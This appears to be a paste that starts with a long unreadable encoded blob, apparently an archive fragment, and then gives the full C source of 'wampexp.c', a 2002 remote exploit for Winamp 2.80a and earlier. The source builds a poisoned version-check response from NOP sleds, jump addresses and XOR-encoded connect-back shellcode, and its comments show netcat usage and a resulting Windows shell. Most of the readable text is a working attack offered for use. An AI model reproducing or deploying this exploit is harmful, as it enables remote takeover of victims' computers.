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 jF6Ak+IhU1YCcY0DHFth3PHnWc5ATUOn/bheRBGj7zZ9GhYOHJ21HIVpzidT Mq4pCnRNWLpmcvAeS6r8INPvWiLz09RJXFhdowgiQoz8Dds8iBUwbuXTYd7l 7yzFJnx9MdzBrX1yAnPlN3CG0twaM9YHH7NrUQOT4w0CafsnWyOz149lyQDD yzEY+D5cacv9EEROZTdi5KpmvXMmJU5WMBsQpGDJwUk6IDJ6Ryz6051qAOlH hC0cNYF85AoZoOlx48bL6Me6QHCBiT64/WVvGmZuEVWGGbAAjutgjOkKNKZJ /tWHIJikp4WIgn8+yBpL46SRQpoJVG6GC0leUY0PMyxrOAc8EdYPypvlv42u hGzqiDC0NyTm2pzXXpH7xWvI/P0jPVVxMMd2DUyE40Kac1lhdhEmmT/6NJ81 7I1eBpoWA/OfB+da09OPoCnZFw6RTIfRAxTyYr8/SM+dVyVtIG1hh/R+7JIQ L9EePG3rwFp3nVGIez5jWEwx273oyxpE6RnwhjNCEDDH2mcvYaDL+z53F6Wc 4q5N1O06GzIv9/M+KGGge5dFgr7xXrVewV7RXwld0ri1mUWRiyPWdYs7NZ4q zyVmsWbFZwlipbdre2mq+axs10M1pAic9DKaCUqJTt5TupT+Mps5T55S1lK6 V8CV8mV9qVvJWIVZNVllUe+kq7JVUqmqp0q0arSKvLVekq1ar3FXwKvlVXSr KyzGWrZbv5bw5bTy3my3sS2ulrOWx8vMy/iS+zl/jl/ol93L3svPTHdTF9Mc 9MrZmgma6ZsZnu5n15n25n35nZzNWryCeKT9Onm0+dTsE9Wn7tPrE+xT7tPc p756qiNUSqheo/Uo0KjxFHlqPbUUyinUMVFko9NRsFGZkoySWyWckqaSVyai TnJNrJ91J6WT8iT28nv5PkSfTKcwpzKmWUxaklTHqeSLVOcUsFNip8VT56nV KfcU7RTvFPAU3CmYlCCTvpgkSt/1W/tW7Vb9K1RNeEt8pbqluvW001oJqqmm 81opobMdHNd9NeRNeAp/qpz8qRKQ8oTKRkoulJ6Un5X3pXYSttK8CV55VEqp hVNKu5VfuVV0s3luhl4uX1Mv7cv7svwJf75eHmMfMdnMMJjRzH7ZjpFeXVxq vq1a1X+lX1ivsVfaK61XYK+4V6RX76uzV/Gr3Kv71dyrvlaZZELI5YpWZxZ3 yzxFnnLIpaQnO+md3mLL1Z0C3Jraha0W+dbcbzLnel676+Dt+jtv8cTYa/hb Vx+/6N5ly/i3X7L30i/S4FJv73vPTx3Bubm9bXev4ustmPEu6Th6br4m2uLi r/83e1ueHud58K3ryNI5u9MWw4uz7mdc9ve3+iwpd3XWtvveJ4e/+W21nC2/ o3Bo+zwK2x2Gy2XqWf8tzvWnoeb4dt5dpdXNxvODwHlZLc7f+f1XhgXcCemV ef349nx5O6xt0rI1s7uOPuuPcAH4t5ut55O8/dtAC8a83Iu9MopIu8cm8HcR Vz9uz4HBu+Lw99d8e64nkrn+5fps+N83o9R91t9+2VZuzd/dtPJ41vb+rxd7 ser+Tvrf7bzh6ncbn67nbfLvd0Xc+rvbH7X3/Q+X6N3a718TWV3G411xbjhe 2Xxew9fK8LQ7biYGvLr17i54v0DV2043B53e3n8OP8F5cF7fgqPhu/igOELt d3nEL3JfucolNXtHTctgX55fwF78v9Zf2F74vG2XlnsZb8fd7+1tN5/T6tvd bbZ3d7xrnh+j7vDy112zmw8bj3lGu2EReTfoXLP3aa2ufrcAe+o/O/pybsi5 Iih9judWCS3hdqX75fiF+UX4RepL/uX4vUnpeu/w5uVrDgVxf1BZvel+yXpi 7Qv/t9rGrOT6sBW1LypeqLsy9KW6L+UvKF2xeDrsgLO/sSNNWPk+Nurz8RL4 SJD5rW9M8PrX2In2veNwYXZkXhh35r8hhrvpXfTgj7CEQGTBq4yfzRh3ujPG dne9HaWlqxtPUuJ/GQSpJIcG95plvji7MEW8SQY8+Qb7g/etea+R5Z2OYfCP 6bwOXIvjtMk7OmmOqCEyNY75AbNx8h1GGd3xvacVQxb8kYF8gczXrUZiPwCV 2Qja3IwpkgVHcL7lF8cfGm77U60zg71IgAKGdvItGz9jZOz9BI7SUdCy74Ca GdheyGdwlah4FekI6CCNdwo/DUcUCNPa0YrNAc/G5Ca+Srj+OQdn+ML3ySs4 ROuz7mlw4EPIOwbd45KsD59HSj+oy2ESh3xNH/7IpMQM2H9RvoJq7RZlC2XB SxwHj6gbX4W5jsjmMu59Y7Kib4Fvyc0EkHBi9GCXCrB3GueGySJ3cIA7hg+V lpzNbOW5pyM3bn5XU5H5+kZ7f/qAgmd0IIApAFMBAAD2AQAAAkQc59JcMuUs HTUJACAAAAB3YXBhdGNoLmMN2RDMyf2Re/9I8H0gkWQIqpJZVbVQECFRAI4H ASOAHBxvWpESxxOSBaVX3cSglVLYSWOwBf/CW03j1/bmb5B9mN4saT3eOfuH 3LPBOCCIsMxhDkklNAi6/zb3+1PV2d2QOL312TLHj2oFfIkI2/L0DlDQ1mvO M17NTr8+cybeLf0wzyk7Krs/VA02HPZEBgykptXY0UUA26jTRpTrreNjOA5d wtEDv6PDp6wX7Zoc4XkmZ1s004x51A4MRXhbdJQDNPYXcDhrx23MRyNmPfv8 +cj6Kmioy7FalZjHbbqpFcWdEY0+rK73RzCtS2sl7j/lfg+zN9Xuxotblz9+ XAiRLWLNFUUhNLOwMo1CJ1mJdUay8SMsyYsem0o8gj6rqDrwa6d7FXj8q6PY BfhjbZkg+BRTZQWGaJuYvxsOWFFIy//rWuIySlfCSYpRkkPNDunun5TEPXsA QAcA /* wampexp.c July 3rd, 2002 Winamp 2.80a and all previous remote exploit (connect-back styles) winamp has an option, enabled by default, which checks for the latest version from www.winamp.com and will then notify the user of a possible upgrade via a messagebox.. unfortunately, if it were to receive a huge response via some nameserver corruption the thread parsing the response is thrown into an infinite loop and eventually the exception dispatcher is called.. and THEN like most of the time under windows a big, bad, overflow occurs.. ex: # (./wampexp 192.168.0.1 5555)|nc -l -p 80 # nc -l -p 5555 *poisoned user opens winamp* # nc -l -p 5555 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\\> sincerely, 2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com) yes, yahoo took away my 2! ;~~~ */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/errno.h> #include <unistd.h> // a minimal HTTP header and fake version unsigned char payload[35904] = \"\\x4f\\x4b\\x0d\\x0a\\x0d\\x0a\\x39\\x2e\\x39\\x39\\x0d\\x0a\\x0d\\x0a\"; // a gruesome hack of dark spyrits jill.c shell that further alters the // startupinfo structure (as this isn\'t a service) and calls ExitThread // to keep things invisible.. unsigned char shell[] = \"\\xeb\\x03\\x5d\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x83\\xc5\\x15\\x90\\x90\\x90\" \"\\x8b\\xc5\\x33\\xc9\\x66\\xb9\\xd7\\x02\\x50\\x80\\x30\\x95\\x40\\xe2\\xfa\\x2d\\x95\\x95\" \"\\x64\\xe2\\x14\\xad\\xd8\\xcf\\x05\\x95\\xe1\\x96\\xdd\\x7e\\x60\\x7d\\x95\\x95\\x95\\x95\" \"\\xc8\\x1e\\x40\\x14\\x7f\\x9a\\x6b\\x6a\\x6a\\x1e\\x4d\\x1e\\xe6\\xa9\\x96\\x66\\x1e\\xe3\" \"\\xed\\x96\\x66\\x1e\\xeb\\xb5\\x96\\x6e\\x1e\\xdb\\x81\\xa6\\x78\\xc3\\xc2\\xc4\\x1e\\xaa\" \"\\x96\\x6e\\x1e\\x67\\x2c\\x9b\\x95\\x95\\x95\\x66\\x33\\xe1\\x9d\\xcc\\xca\\x16\\x52\\x91\" \"\\xd0\\x77\\x72\\xcc\\xca\\xcb\\x1e\\x58\\x1e\\xd3\\xb1\\x96\\x56\\x44\\x74\\x96\\x54\\xa6\" \"\\x5c\\xf3\\x1e\\x9d\\x1e\\xd3\\x89\\x96\\x56\\x54\\x74\\x97\\x96\\x54\\x1e\\x95\\x96\\x56\" \"\\x1e\\x67\\x1e\\x6b\\x1e\\x45\\x2c\\x9e\\x95\\x95\\x95\\x7d\\xe1\\x94\\x95\\x95\\xa6\\x55\" \"\\x39\\x10\\x55\\xe0\\x6c\\xc7\\xc3\\x6a\\xc2\\x41\\xcf\\x1e\\x4d\\x2c\\x93\\x95\\x95\\x95\" \"\\x7d\\xce\\x94\\x95\\x95\\x52\\xd2\\xf1\\x99\\x95\\x95\\x95\\x52\\xd2\\xfd\\x95\\x95\\x95\" \"\\x95\\x52\\xd2\\xf9\\x94\\x95\\x95\\x95\\xff\\x95\\x18\\xd2\\xf1\\xc5\\x18\\xd2\\x85\\xc5\" \"\\x18\\xd2\\x81\\xc5\\x6a\\xc2\\x55\\xff\\x95\\x18\\xd2\\xf1\\xc5\\x18\\xd2\\x8d\\xc5\\x18\" \"\\xd2\\x89\\xc5\\x6a\\xc2\\x55\\x52\\xd2\\xb5\\xd1\\x95\\x95\\x95\\x18\\xd2\\xb5\\xc5\\x6a\" \"\\xc2\\x51\\x1e\\xd2\\x85\\x1c\\xd2\\xc9\\x1c\\xd2\\xf5\\x1e\\xd2\\x89\\x1c\\xd2\\xcd\\x14\" \"\\xda\\xd9\\x94\\x94\\x95\\x95\\xf3\\x52\\xd2\\xc5\\x95\\x95\\x18\\xd2\\xe5\\x16\\x53\\x84\" \"\\x6a\\x73\\xa6\\x55\\xc5\\xc5\\xc5\\xff\\x94\\xc5\\xc5\\x7d\\x95\\x95\\x95\\x95\\xc8\\x14\" \"\\x78\\xd5\\x6b\\x6a\\x6a\\xc0\\xc5\\x6a\\xc2\\x5d\\x6a\\xe2\\x85\\x6a\\xc2\\x71\\x6a\\xe2\" \"\\x89\\x6a\\xc2\\x71\\xfd\\x95\\x91\\x95\\x95\\xff\\xd5\\x6a\\xc2\\x45\\x1e\\x7d\\xc5\\xfd\" \"\\x94\\x94\\x95\\x95\\x6a\\xc2\\x7d\\x10\\x55\\x9a\\x10\\x3f\\x95\\x95\\x95\\xa6\\x55\\xc5\" \"\\xd5\\xc5\\xd5\\xc5\\x6a\\xc2\\x79\\x16\\x6d\\x6a\\x9a\\x11\\x02\\x95\\x95\\x95\\x1e\\x4d\" \"\\xf3\\x52\\x92\\x97\\x95\\xf3\\x52\\xd2\\x97\\x80\\x26\\x52\\xd2\\x91\\x55\\x3d\\x95\\x94\" \"\\xff\\x85\\x18\\x92\\xc5\\xc6\\x6a\\xc2\\x61\\xff\\xa7\\x6a\\xc2\\x49\\xa6\\x5c\\xc4\\xc3\" \"\\xc4\\xc4\\xc4\\x6a\\xe2\\x81\\x6a\\xc2\\x59\\x10\\x55\\xe1\\xf5\\x05\\x05\\x05\\x05\\x15\" \"\\xab\\x95\\xe1\\xba\\x05\\x05\\x05\\x05\\xff\\x95\\xc3\\xfd\\x95\\x91\\x95\\x95\\xc0\\x6a\" \"\\xe2\\x81\\x6a\\xc2\\x4d\\x10\\x55\\xe1\\xd5\\x05\\x05\\x05\\x05\\xff\\x95\\x6a\\xa3\\xc0\" \"\\xc6\\x6a\\xc2\\x6d\\x16\\x6d\\x6a\\xe1\\xbb\\x05\\x05\\x05\\x05\\x7e\\x27\\xff\\x95\\xfd\" \"\\x95\\x91\\x95\\x95\\xc0\\xc6\\x6a\\xc2\\x69\\x10\\x55\\xe9\\x8d\\x05\\x05\\x05\\x05\\xe1\" \"\\x09\\xff\\x95\\xc3\\xc5\\xc0\\x6a\\xe2\\x8d\\x6a\\xc2\\x41\\xff\\xa7\\x6a\\xc2\\x49\\x7e\" \"\\x1f\\xc6\\x6a\\xc2\\x65\\xff\\x95\\x6a\\xc3\\x98\\xa6\\x55\\x39\\x10\\x55\\xe0\\x6c\\xc4\" \"\\xc7\\xc3\\xc6\\x6a\\x47\\xcf\\xcc\\x3e\\x77\\x7b\\x56\\xd2\\xf0\\xe1\\xc5\\xe7\\xfa\\xf6\" \"\\xd4\\xf1\\xf1\\xe7\\xf0\\xe6\\xe6\\x95\\xd9\\xfa\\xf4\\xf1\\xd9\\xfc\\xf7\\xe7\\xf4\\xe7\" \"\\xec\\xd4\\x95\\xd6\\xe7\\xf0\\xf4\\xe1\\xf0\\xc5\\xfc\\xe5\\xf0\\x95\\xd2\\xf0\\xe1\\xc6\" \"\\xe1\\xf4\\xe7\\xe1\\xe0\\xe5\\xdc\\xfb\\xf3\\xfa\\xd4\\x95\\xd6\\xe7\\xf0\\xf4\\xe1\\xf0\" \"\\xc5\\xe7\\xfa\\xf6\\xf0\\xe6\\xe6\\xd4\\x95\\xc5\\xf0\\xf0\\xfe\\xdb\\xf4\\xf8\\xf0\\xf1\" \"\\xc5\\xfc\\xe5\\xf0\\x95\\xd2\\xf9\\xfa\\xf7\\xf4\\xf9\\xd4\\xf9\\xf9\\xfa\\xf6\\x95\\xc2\" \"\\xe7\\xfc\\xe1\\xf0\\xd3\\xfc\\xf9\\xf0\\x95\\xc7\\xf0\\xf4\\xf1\\xd3\\xfc\\xf9\\xf0\\x95\" \"\\xc6\\xf9\\xf0\\xf0\\xe5\\x95\\xed\\xed\\xed\\xed\\xed\\xed\\xed\\xed\\xed\\xed\\xed\\x95\" \"\\xd6\\xf9\\xfa\\xe6\\xf0\\xdd\\xf4\\xfb\\xf1\\xf9\\xf0\\x95\\xc2\\xc6\\xda\\xd6\\xde\\xa6\" \"\\xa7\\x95\\xc2\\xc6\\xd4\\xc6\\xe1\\xf4\\xe7\\xe1\\xe0\\xe5\\x95\\xe6\\xfa\\xf6\\xfe\\xf0\" \"\\xe1\\x95\\xf6\\xf9\\xfa\\xe6\\xf0\\xe6\\xfa\\xf6\\xfe\\xf0\\xe1\\x95\\xf6\\xfa\\xfb\\xfb\" \"\\xf0\\xf6\\xe1\\x95\\xe6\\xf0\\xfb\\xf1\\x95\\xe7\\xf0\\xf6\\xe3\\x95\\xf6\\xf8\\xf1\\xbb\" \"\\xf0\\xed\\xf0\\x95\\xc4\\x2b\\x02\\x75\\x66\\xc7\\x47\\x4c\\x01\\x81\\x50\\x8d\\x47\\x20\" \"\\x50\\x83\\xee\\x11\\x05\\x11\\x11\\x11\\x01\\x2d\\x7a\\x12\\x11\\x01\\xff\\xe0\"; main(char argc, char **argv){ int i; unsigned short int a_port; unsigned long a_host; struct hostent *ht; struct sockaddr_in sin; if (argc < 3){ printf(\"Winamp 2.80a remote exploit (7/3/2002)\\n\"); printf(\"c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com\\n\\n\"); printf(\"usage: %s <localhost> <localport>\\n\\n\", argv[0]); printf(\"NOTE: target os is 2000.. probably works on all\\n\"); printf(\"winamp versions prior to 2.80a as there are no \\n\"); printf(\"dependancies on winamp, only the static ws2help\\n\\n\"); exit(-1); } // blatantly ripped! *TEEHEEEHHEH* a_port = htons(atoi(argv[2])); a_port ^= 0x9595; if ((ht = gethostbyname(argv[1])) == 0){herror(argv[1]);exit(-1);} a_host = *((unsigned long *)ht->h_addr); a_host ^= 0x95959595; shell[385] = ((a_port) & 0xff); shell[386] = ((a_port >> 8) & 0xff); shell[390] = ((a_host) & 0xff); shell[391] = ((a_host >> 8) & 0xff); shell[392] = ((a_host >> 16) & 0xff); shell[393] = ((a_host >> 24) & 0xff); strcat(payload, shell); // lots of NOPs for(i=792;i<9704;i++) strcat(payload, \"\\x90\"); // we land here when we jmp ebx the second time // this sets ebx to the start of our shell, and jmps back strcat(payload, \"\\x81\\xc3\\x11\\x11\\x11\\x01\\x81\\xeb\\x07\\x37\"); strcat(payload, \"\\x11\\x01\\xff\\xe3\"); // lots more NOPs for lots more fun for(i=9718;i<35809;i++) strcat(payload, \"\\x90\"); // and bh, dl; jmp ebx.. this allows us to jmp back into an area // where we can put some real code strcat(payload, \"\\x22\\xfa\\xff\\xe3\"); // our \"eip\" (call ecx; ntdll.dll@0x11936) // jmp ebx; ws2help.dll@0xdd6 (v5.0.2134.1, static on all service packs) strcat(payload, \"\\xd6\\x19\\x02\\x75\"); // if ws2help doesn\'t match for some reason, use this call ebx.. // dependant on the winamp in_wm.dll plugin //strcat(payload, \"\\x57\\x22\\x12\\x01\"); strcat(payload, \"\\x0d\\x0a\"); printf(\"%s\", payload); } SOLUTION ?